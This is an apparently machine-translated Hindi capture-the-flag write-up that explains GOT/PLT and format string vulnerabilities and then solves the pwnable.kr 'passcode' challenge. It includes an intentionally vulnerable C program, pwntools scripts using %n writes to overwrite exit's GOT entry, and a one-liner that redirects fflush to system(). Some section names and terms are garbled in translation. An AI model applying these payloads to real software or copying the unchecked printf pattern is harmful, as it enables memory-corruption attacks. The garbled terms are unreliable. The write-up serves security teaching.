🛀 🎗️ 🤓 Pwnable.kr 05 के साथ नौकरी हल करना - पासकोड। प्रारूप स्ट्रिंग भेद्यता के माध्यम से रीराइट प्रक्रिया लिंक तालिका 👩🏽‍🎓 📏 👨🏿‍🚒

इस लेख में हम विश्लेषण करेंगे: ऑफ़सेट की वैश्विक तालिका क्या है, प्रक्रियाओं के रिश्तों की तालिका और प्रारूप स्ट्रिंग भेद्यता के माध्यम से इसके पुनर्लेखन। हम pwnable.kr साइट से 5 वें कार्य को भी हल करेंगे।

संगठनात्मक जानकारी

विशेष रूप से उन लोगों के लिए जो सूचना और कंप्यूटर सुरक्षा के किसी भी क्षेत्र में कुछ नया सीखना और विकसित करना चाहते हैं, मैं निम्नलिखित श्रेणियों के बारे में लिखूंगा और बात करूंगा:

PWN;
क्रिप्टोग्राफी (क्रिप्टो);
नेटवर्क टेक्नोलॉजीज (नेटवर्क);
रिवर्स (रिवर्स इंजीनियरिंग);
स्टेग्नोग्राफ़ी (स्टेग्नो);
WEB कमजोरियों की खोज और उनका दोहन।

इसके अलावा, मैं अपने अनुभव को कंप्यूटर फोरेंसिक, मैलवेयर और फर्मवेयर के विश्लेषण, वायरलेस नेटवर्क और स्थानीय क्षेत्र नेटवर्क पर हमले, पेंटेस्ट का संचालन करने और कारनामे लिखने में साझा करूंगा।

ताकि आप नए लेख, सॉफ्टवेयर और अन्य जानकारी के बारे में जान सकें, मैंने टेलीग्राम में एक चैनल बनाया और आईसीडी के क्षेत्र में किसी भी मुद्दे पर चर्चा करने के लिए एक समूह बनाया। साथ ही, मैं व्यक्तिगत रूप से आपके व्यक्तिगत अनुरोधों, प्रश्नों, सुझावों और सिफारिशों पर व्यक्तिगत रूप से विचार करूंगा और सभी का जवाब दूंगा ।

सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। इस दस्तावेज़ का लेखक इस दस्तावेज़ का अध्ययन करने के परिणामस्वरूप प्राप्त ज्ञान और विधियों का उपयोग करने के परिणामस्वरूप किसी को हुए नुकसान के लिए कोई ज़िम्मेदारी नहीं उठाता है।

वैश्विक ऑफसेट तालिका और प्रक्रिया संबंध तालिका

डायनामिकली लिंक्ड लाइब्रेरियों को बूट समय पर या रनटाइम पर एक अलग फाइल से मेमोरी में लोड किया जाता है। और, इसलिए, अन्य पुस्तकालयों के साथ स्मृति संघर्ष से बचने के लिए स्मृति में उनके पते तय नहीं हैं। इसके अलावा, एएसएलआर सुरक्षा तंत्र बूट समय पर प्रत्येक मॉड्यूल के पते को यादृच्छिक करेगा।

वैश्विक ऑफसेट तालिका (GOT) - डेटा अनुभाग में संग्रहीत पतों की एक तालिका। इसका उपयोग वैश्विक समय के उन चरों की खोज के लिए किया जाता है, जो संकलन समय में अज्ञात थे। यह तालिका डेटा अनुभाग में है और सभी प्रक्रियाओं द्वारा उपयोग नहीं की जाती है। कोड खंड द्वारा संदर्भित सभी पूर्ण पते इस GOT तालिका में संग्रहीत किए जाते हैं। इन पूर्ण पतों को एक्सेस करने के लिए कोड सेक्शन संबंधित ऑफसेट का उपयोग करता है। और इस प्रकार, लाइब्रेरी कोड को प्रक्रियाओं द्वारा साझा किया जा सकता है, भले ही वे अलग-अलग मेमोरी एड्रेस स्पेस में लोड किए गए हों।

प्रक्रिया लिंकेज तालिका (पीएलटी) में सामान्य कार्यों को कॉल करने के लिए जंप कोड होता है, जिनके पते जीओटी में संग्रहीत होते हैं, अर्थात पीएलटी में वे पते होते हैं जिनमें जीओटी से डेटा (पते) के पते संग्रहीत होते हैं।

एक उदाहरण का उपयोग कर तंत्र पर विचार करें:

प्रोग्राम कोड में, बाहरी फ़ंक्शन प्रिंटफ को कहा जाता है।
नियंत्रण प्रवाह PLT में nth रिकॉर्ड पर जाता है, और संक्रमण एक पूर्ण पते के बजाय एक सापेक्ष ऑफसेट पर होता है।
GOT में संग्रहीत पते पर जाता है। GOT तालिका में संग्रहीत फ़ंक्शन पॉइंटर पहले PLT कोड स्निपेट पर वापस इंगित करता है।
इस प्रकार, यदि प्रिंटफ़ को पहली बार कॉल किया जा रहा है, तो डायनामिक लिंकर कनवर्टर को लक्ष्य फ़ंक्शन का वास्तविक पता प्राप्त करने के लिए कहा जाता है।
प्रिंटफ़ पते को जीओटी तालिका में लिखा जाता है, और फिर प्रिंटफ़ को कहा जाता है।
यदि प्रिंटफ़ को फिर से कोड में कहा जाता है, तो रिज़ॉल्वर को कॉल नहीं किया जाएगा क्योंकि प्रिंट का पता पहले से ही जीओटी में संग्रहीत है।

इस विलंबित बाइंडिंग का उपयोग करते समय, रन टाइम में उपयोग नहीं किए जाने वाले फ़ंक्शन के लिए पॉइंटर्स की अनुमति नहीं है। इस प्रकार, यह बहुत समय बचाता है।

इस तंत्र के काम करने के लिए, निम्नलिखित खंड फाइल में मौजूद हैं:

.GOT - GOT के लिए प्रविष्टियाँ हैं;
.35lt - पीएलटी के लिए प्रविष्टियां शामिल हैं;
.got.plt - पता रिश्ते शामिल हैं GOT - PLT;
.plt.got - पता रिश्तों को शामिल करता है PLT - GOT।

चूँकि .get.plt सेक्शन पॉइंटर्स की एक सरणी है और प्रोग्राम एक्जीक्यूशन के दौरान भरी जाती है (यानी, इसमें लिखने की अनुमति है), हम उनमें से किसी एक को ओवरराइट कर सकते हैं और प्रोग्राम एक्ज़िक्यूशन फ्लो को नियंत्रित कर सकते हैं।

प्रारूप स्ट्रिंग

एक प्रारूप स्ट्रिंग प्रारूप विनिर्देशक का उपयोग करके एक स्ट्रिंग है। प्रारूप विनिर्देशक को प्रतीक "%" (प्रतिशत चिह्न में प्रवेश करने के लिए, अनुक्रम "%%" का उपयोग करें) द्वारा दर्शाया गया है।

pritntf(“output %s 123”, “str”); output str 123

सबसे महत्वपूर्ण प्रारूप विनिर्देशक:

डी - दशमलव पर हस्ताक्षरित संख्या, डिफ़ॉल्ट आकार, आकार (इंट);
x और X एक अहस्ताक्षरित हेक्साडेसिमल संख्या हैं, x छोटे अक्षरों (abcdef), X अपरकेस (ABCDEF) का उपयोग करता है, डिफ़ॉल्ट आकार आकार (int) है;
एस - शून्य समाप्ति बाइट के साथ लाइन आउटपुट;
n वर्णों की संख्या उस समय लिखी जाती है, जिसमें n अनुक्रम दिखाई देता है।

प्रारूप स्ट्रिंग भेद्यता क्यों संभव है

इस भेद्यता में एक प्रारूप निर्दिष्ट किए बिना प्रारूप आउटपुट कार्यों में से एक का उपयोग करना शामिल है (जैसा कि निम्नलिखित उदाहरण में)। इस प्रकार, हम खुद आउटपुट प्रारूप को निर्दिष्ट कर सकते हैं, जो स्टैक से मानों को पढ़ने की क्षमता की ओर जाता है, और जब मेमोरी को लिखने के लिए एक विशेष प्रारूप निर्दिष्ट करता है।

निम्न उदाहरण में भेद्यता पर विचार करें:

 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); }

इस प्रकार, अगली पंक्ति आउटपुट स्वरूप को निर्दिष्ट नहीं करती है।

 printf(input);

कार्यक्रम को संकलित करें।

 gcc vuln1.c -o vuln -no-pie

आइए स्टैक पर मौजूद मानों को एक फॉर्मेट स्पेसिफायर वाली लाइन में देखें।

इस प्रकार, जब प्रिंटफ (इनपुट) पर कॉल किया जाता है, तो निम्न कॉल ट्रिगर होता है:

 printf(“%p-%p-%p-%p-%p“);

यह समझने के लिए रहता है कि कार्यक्रम क्या प्रदर्शित करता है। प्रिंटफ फ़ंक्शन में कई तर्क हैं, जो एक प्रारूप स्ट्रिंग के लिए डेटा हैं।

निम्नलिखित तर्कों के साथ फ़ंक्शन कॉल के एक उदाहरण पर विचार करें:

 printf(“Number - %d, addres - %08x, string - %s”, a, &b, c);

जब यह फ़ंक्शन कहा जाता है, तो स्टैक निम्नानुसार दिखेगा।

इस प्रकार, जब एक प्रारूप विनिर्देशक का पता लगाया जाता है, तो फ़ंक्शन स्टैक का मान पुनः प्राप्त करता है। इसी तरह, हमारे उदाहरण से एक फ़ंक्शन स्टैक से 5 मान प्राप्त करेगा।

उपरोक्त पुष्टि करने के लिए, हम स्टैक में अपना प्रारूप स्ट्रिंग पाते हैं।

हेक्स दृश्य से मूल्यों का अनुवाद करते समय, हम स्ट्रिंग "% -p% AAAA" प्राप्त करते हैं। यही है, हम स्टैक से मूल्यों को प्राप्त करने में सक्षम थे।

GOT ओवरराइट करें

आइए प्रारूप स्ट्रिंग भेद्यता के माध्यम से जीओटी को फिर से लिखने की क्षमता की जांच करें। ऐसा करने के लिए, चलो बाहर निकलने के पते () फ़ंक्शन को मुख्य के पते पर लिखकर हमारे प्रोग्राम को लूप करें। हम pwntools का उपयोग कर अधिलेखित कर देंगे। प्रारंभिक लेआउट बनाएं और पिछली प्रविष्टि को दोहराएं।

 from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive()

लेकिन चूंकि प्रवेश किए गए स्ट्रिंग के आकार के आधार पर, स्टैक की सामग्री अलग-अलग होगी, हम यह सुनिश्चित करेंगे कि इनपुट लोड में हमेशा एक ही संख्या में दर्ज वर्ण होते हैं।

 payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”)

 payload = ("%p-%p-%p-%p").ljust(64, ”*”)

अब हमें बाहर निकलने () फ़ंक्शन, और मुख्य फ़ंक्शन के पते का जीओटी पता लगाने की आवश्यकता है। मुख्य पता gdb का उपयोग करते हुए मिलेगा।

GOTb और objdump दोनों का उपयोग करके GOT पता का निकास () पाया जा सकता है।

 objdump -R vuln

हम इन पतों को अपने कार्यक्रम में लिखेंगे।

 main_addr = 0x401162 exit_addr = 0x404038

अब आपको पते को फिर से लिखना होगा। स्टैक से बाहर निकलने के पते () फ़ंक्शन और उसके बाद के पते को जोड़ने के लिए, अर्थात्। * (निकास ()) + 1, आदि। आप इसे हमारे लोड का उपयोग करके जोड़ सकते हैं।

 payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1)

चलाएं और निर्धारित करें कि कौन सा खाता पता प्रदर्शित करता है।

इन पतों को 14 और 15. पदों पर प्रदर्शित किया जाता है। आप एक विशिष्ट स्थान पर मूल्य को निम्नानुसार प्रदर्शित कर सकते हैं।

 payload = ("%14$p").ljust(64, "*")

हम दो ब्लॉकों में पते को फिर से लिखेंगे। शुरू करने के लिए, हम 4 मानों को प्रिंट करेंगे ताकि हमारे पते 2 वें और 4 वें स्थान पर हों।

 payload = ("%p%14$p%p%15$p").ljust(64, "*")

अब हम मुख्य () को दो ब्लॉकों में विभाजित करते हैं:

0x401162

1) 0x62 = 98 (0x404038 पर लिखें)
2) 0x4011 - 0x62 = 16303 (पता 0x404039 पर लिखें)

हम उन्हें इस प्रकार लिखते हैं:

 payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')

पूर्ण कोड:

 from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive()

इस प्रकार, कार्यक्रम को समाप्त करने के बजाय पुनः आरंभ किया जाता है। हमने बाहर निकलने () पते को फिर से लिखा है।

पासकोड नौकरी समाधान

हम पासकोड हस्ताक्षर के साथ पहले आइकन पर क्लिक करते हैं, और हमें बताया जाता है कि हमें पासवर्ड अतिथि के साथ SSH के माध्यम से कनेक्ट करने की आवश्यकता है।

कनेक्ट होने पर, हम संबंधित बैनर देखते हैं।

आइए जानें कि सर्वर पर कौन सी फाइलें हैं, साथ ही हमारे पास क्या अधिकार हैं।

 ls -l

इस प्रकार, हम प्रोग्राम के स्रोत कोड को पढ़ सकते हैं, क्योंकि सभी के लिए पढ़ने का अधिकार है, और मालिक के अधिकारों के साथ पासकोड प्रोग्राम को निष्पादित करें (चिपचिपा बिट सेट है)। कोड का परिणाम देखते हैं।

लॉगिन () फ़ंक्शन में एक त्रुटि थी। स्कैनफ () में, दूसरा तर्क पारित नहीं किया गया है चर और पासकोड 1 का पता, लेकिन चर ही, और आरंभिक नहीं। चूंकि चर को अभी तक आरंभ नहीं किया गया है, इसमें अलिखित "कचरा" होता है जो पिछले निर्देशों के निष्पादन के बाद बना रहता है। यही है, स्कैनफ () पते पर नंबर लिखेंगे, जो अवशिष्ट डेटा होगा।

इस प्रकार, यदि लॉगिन फ़ंक्शन को कॉल करने से पहले, हम इस मेमोरी क्षेत्र पर नियंत्रण पा सकते हैं, तो हम किसी भी पते पर कोई भी नंबर लिख सकते हैं (वास्तव में प्रोग्राम लॉजिक को बदल सकते हैं)।

चूंकि लॉगिन () फ़ंक्शन के तुरंत बाद लॉगिन () फ़ंक्शन को कहा जाता है, उनके पास समान स्टैक फ्रेम पते हैं।

आइए देखें कि क्या हम भविष्य के पासकोड 1 स्थान पर डेटा लिख सकते हैं। प्रोग्राम को gdb में खोलें और लॉगिन () और वेलकम () फंक्शन्स को डिसाइड करें। चूंकि दोनों मामलों में स्कैनफ के दो पैरामीटर हैं, इसलिए चर का पता पहले फ़ंक्शन को दिया जाएगा। इस प्रकार, पासकोड 1 का पता ebp-0x10 है, और नाम ebp-0x70 है।

अब, नाम के सापेक्ष पता पासकोड 1 की गणना करें, बशर्ते कि ईबीपी मूल्य समान हो:

((नाम)) - (और पासकोड 1) = (ebp-0x70) - (ebp-0x10) = -96
& पासकोड 1 == और नाम + 96

यही है, नाम के अंतिम 4 बाइट्स - यह "कचरा" है जो लॉगिन फ़ंक्शन को लिखने के लिए पते के रूप में कार्य करेगा।

लेख में, हमने देखा कि कैसे आप जीओटी में पतों को फिर से लिखकर आवेदन के तर्क को बदल सकते हैं। चलो यहाँ भी करते हैं। चूंकि स्कैनफ () फ्लश द्वारा पीछा किया जाता है, फिर जीओटी में इस फ़ंक्शन के पते पर, हम सिस्टम को कॉल करने के लिए निर्देश का पता लिखते हैं () ध्वज को पढ़ने के लिए फ़ंक्शन।

यही है, 0x804a004 के पते पर आपको दशमलव रूप में 0x80485e3 लिखना होगा।

 python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode

नतीजतन, हमें 10 अंक मिलते हैं, अब तक यह सबसे कठिन काम है।

इस लेख की फाइलें टेलीग्राम चैनल से जुड़ी हैं। आपको निम्नलिखित लेखों में मिलते हैं!

हम एक टेलीग्राम चैनल में हैं: टेलीग्राम में एक चैनल ।

Pwnable.kr 05 के साथ नौकरी हल करना - पासकोड। प्रारूप स्ट्रिंग भेद्यता के माध्यम से रीराइट प्रक्रिया लिंक तालिका

वैश्विक ऑफसेट तालिका और प्रक्रिया संबंध तालिका

प्रारूप स्ट्रिंग

प्रारूप स्ट्रिंग भेद्यता क्यों संभव है

GOT ओवरराइट करें

पासकोड नौकरी समाधान

More articles: